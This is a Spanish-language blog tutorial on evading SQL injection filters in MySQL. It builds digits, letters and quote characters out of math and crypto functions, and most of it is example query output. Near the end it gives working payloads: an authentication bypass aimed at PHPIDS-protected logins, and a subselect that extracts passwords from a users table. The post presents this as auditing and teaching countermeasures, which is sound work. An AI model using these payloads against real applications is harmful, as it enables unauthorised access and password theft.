SQLi: Evadiendo filtros con funciones matemáticas

Publicado por Pedro C. el 12-02-2013

Tan sólo necesitamos un MySQL para emplear funciones matemáticas y poder obtener "letras", "números", "caracteres especiales" o incluso valores constantes como "true" ó "false" con el objeto de evadir los posibles filtros que se emplean para "sanitizar" (al loro el palabro) las entradas de datos.

Para redactar el artículo, hemos empleado la versión de MySQL 5.x y que como veremos, es un valor muy importante ya que será referenciado como una de las semillas generadoras. Por tanto, si se tratase de otra versión diferente, los resultados podrían verse afectados. Está basado en varias entradas de Reiners' Weblog donde teneis mucha más información sobre éstas y otras técnicas de evasión.

Los dígitos

Lo primero, consigamos con funciones matemáticas "números" puros y duros que posteriormente podremos convertir a letras y cadenas, evitando filtros típicos como UPDATE, SELECT, INSERT, DROP, etc...

El valor "false" es "0", pero quizá al probar SQLi se encuentre filtrado y no podamos usarlo como tal. Es nuestro momento de probar un valor como:

mysql>SELECT !pi();
+-------+
| !pi() |
+-------+
|     0 |
+-------+
1 row in set (0.01 sec)

mysql>
				

Del mismo modo, recordando que una doble negación es una afirmación, para conseguir el valor "true" podemos poner:

mysql>SELECT !(!pi());
+----------+
| !(!pi()) |
+----------+
|        1 |
+----------+
1 row in set (0.01 sec)

mysql>
				

Y por ejemplo, para conseguir el valor "2", podremos poner:

mysql>SELECT true+true;
+-----------+
| true+true |
+-----------+
|         2 |
+-----------+
1 row in set (0.01 sec)

mysql>
				

Una de las funciones de MySQL es floor() donde obtenemos el entero redondeado más bajo al igual que si empleamos ceil() obtenemos el entero redondeado más alto. Con estos valores que además nos permiten la conversión, podemos "jugar" a obtener otros valores partiendo de funciones como pi() que en cualquier versión de MySQL siempre devolverá el mismo resultado.

mysql>SELECT floor(pi());
+-------------+
| floor(pi()) |
+-------------+
|           3 |
+-------------+
1 row in set (0.01 sec)

mysql>
				

Para el número "4", podremos jugar con ceil(pi()) ó 4=3+1. Incluso podremos jugar con 4=2+2 ó 4=1+1+2. Para gustos los colores...

mysql>SELECT ceil(pi());
+------------+
| ceil(pi()) |
+------------+
|          4 |
+------------+
1 row in set (0.01 sec)

mysql>SELECT floor(pi())+true;
+-----------------+
| ceil(pi())+true |
+-----------------+
|               4 |
+-----------------+
1 row in set (0.01 sec)

mysql>				
				

Para el número "5", veamos la importancia de la función version(). Si "jugamos" con MySQL 5.x entonces floor(version()) será "5" y ceil(version()) será "6". A partir de aquí, podremos generar cualquier número que necesitemos con funciones estándard salvo que la versión de MySQL sea otra inferior.

Por lo tanto, combinando con ceil(), floor() los valores de pi() y version() conseguiremos la lista completa de todos los dígitos.

Las letras

Veamos ahora, las letras... Por ejemplo, para generar la letra "A", podemos jugar con:

mysql>SELECT ceil(pi()*pi());
+-----------------+
| ceil(pi()*pi()) |
+-----------------+
|              10 |
+-----------------+
1 row in set (0.01 sec)

mysql>				
				

¿Dónde narices está la letra "A"? Ma' engañao'

Repasemos la función conv() para entender el siguiente ejemplo:

mysql>SELECT conv(ceil(pi()*pi()),10,36);
+-----------------------------+
| conv(ceil(pi()*pi()),10,36) |
+-----------------------------+
| A                           |
+-----------------------------+
1 row in set (0.01 sec)

mysql>				
				

Por supuesto, en un entorno controlado, el "10" y el "36" deberemos de obtenerlos mediante las funciones anteriormente vistas.

Obtengamos ahora la letra "B"... Si true es 1, bastaría con sumarle al valor 10 un 1 para que fuera 11, ya que 10+1=11. Vamos a verlo:

mysql>SELECT conv(ceil(pi()*pi())+true,10,36);
+----------------------------------+
| conv(ceil(pi()*pi())+true,10,36) |
+----------------------------------+
| B                                |
+----------------------------------+
1 row in set (0.01 sec)

mysql>				
				

Busquemos ahora cómo conseguir la letra "M"... Se nos ocurre que sería el número 22 que podemos conseguirlo como ceil(pi()*ceil(pi()+pi())). Comprobemos el resultado:

mysql>SELECT conv(ceil(pi()*ceil(pi()+pi())),10,36);
+----------------------------------------+
| conv(ceil(pi()*ceil(pi()+pi())),10,36) |
+----------------------------------------+
| M                                      |
+----------------------------------------+
1 row in set (0.01 sec)

mysql>				
				

Los palabros

Y repasando la función concat(), podemos jugar a poner palabras:

mysql>SELECT concat(conv(ceil(pi()*pi()),10,36),conv(ceil(pi()*pi())+true,10,36));
+----------------------------------------------------------------------+
| concat(conv(ceil(pi()*pi()),10,36),conv(ceil(pi()*pi())+true,10,36)) |
+----------------------------------------------------------------------+
| AB                                                                   |
+----------------------------------------------------------------------+
1 row in set (0.01 sec)

mysql>				
				

Caracteres especiales

Una vez visto cómo generar números para obtener letras y que las letras concatenadas generan "palabros" nos faltarían caracteres especiales. Buscaremos una función para poder obtener una doble comilla. Se nos ocurre la "feliz idea" de emplear la función aes_encrypt() o des_encrypt() para buscar caracteres tipo \.?;'*"`:&|/<>...

mysql>SELECT aes_encrypt(1,12);
+-------------------+
| aes_encrypt(1,12) |
+-------------------+
| 4..."...Ea        |
+-------------------+
1 row in set (0.01 sec)

mysql>				
				

Bingo!!! Una doble comilla en la cadena!!! pero... ¿Cómo obtenerla de forma simple sin el resto? Usemos la función substr()

mysql>SELECT substr(aes_encrypt(1,12),7,1);
+--------------------------------------+
| SELECT substr(aes_encrypt(1,12),7,1) |
+--------------------------------------+
| "                                    |
+--------------------------------------+
1 row in set (0.01 sec)

mysql>				
				

Y podemos emplear también la función aes_encrypt(1,10) para la comilla INVERTIDA con los riesgos que convella dicho carácter!!!

mysql>SELECT substr(aes_encrypt(1,12),7,1);
+---------------------------------------+
| SELECT substr(aes_encrypt(1,10),15,1) |
+---------------------------------------+
| `                                     |
+---------------------------------------+
1 row in set (0.01 sec)

mysql>				
				

Let's put it all together!

Como habíamos dicho, necesitamos obtener para la función conv() los valores "10" y "36". Fácilmente deducimos que entre otros 10=5+5 y que 36=6*6 con lo que podemos usar como generadores ceil(pi()*pi()) y ceil(version())*ceil(version())

mysql>SELECT concat(
conv(ceil(pi()*ceil(pi()+pi())),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(ceil(pi()*pi()),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(floor(pi()*pi()+pi()),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(ceil(pi()*pi()+pi()),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(ceil(pi()*pi()*pi()-pi()),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(floor(pi()*pi()*floor(pi()))+floor(version()),ceil(pi()*pi()),ceil(version())*ceil(version())),
conv(floor(version())*floor(version()),ceil(pi()*pi()),ceil(version())*ceil(version()))
);				
				

¿Qué pone? A partir de ahora, me llamaré así cuando me pidan el nombre de usuario...

Y si hubieramos querido realizar bypasses de autenticaciones, incluso con filtros, replaces, ModSecurity, PHPIDS que es ampliamente empleado para protección, lo podríamos haber realizado con ésta sencilla ofuscación en la entrada. Veamos un ejemplo con PHPIDS

Bypass auth:

foo'!=@a:=0x1 div'1a				# false != true

‘ or round(pi(),1)+true+true = version() 	# or 3.1+1+1 = 5.1				
				

Subselect:

foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
				

Por supuesto, podemos ampliar la lista de operadores y funciones como pow() para conseguir de otra forma los valores deseados.

Con tiempo y una caña se consigue un amplio historial que podemos montarnos para auditar nuestras aplicaciones web...

Recordaros que en los Cursos especializados de Seguridad Informática y Administración de Sistemas que ofrecemos en Academia MADESYP realizamos y establecemos las contramedidas con todo esto y mucho más...

Ser buenos y no hagáis maldades!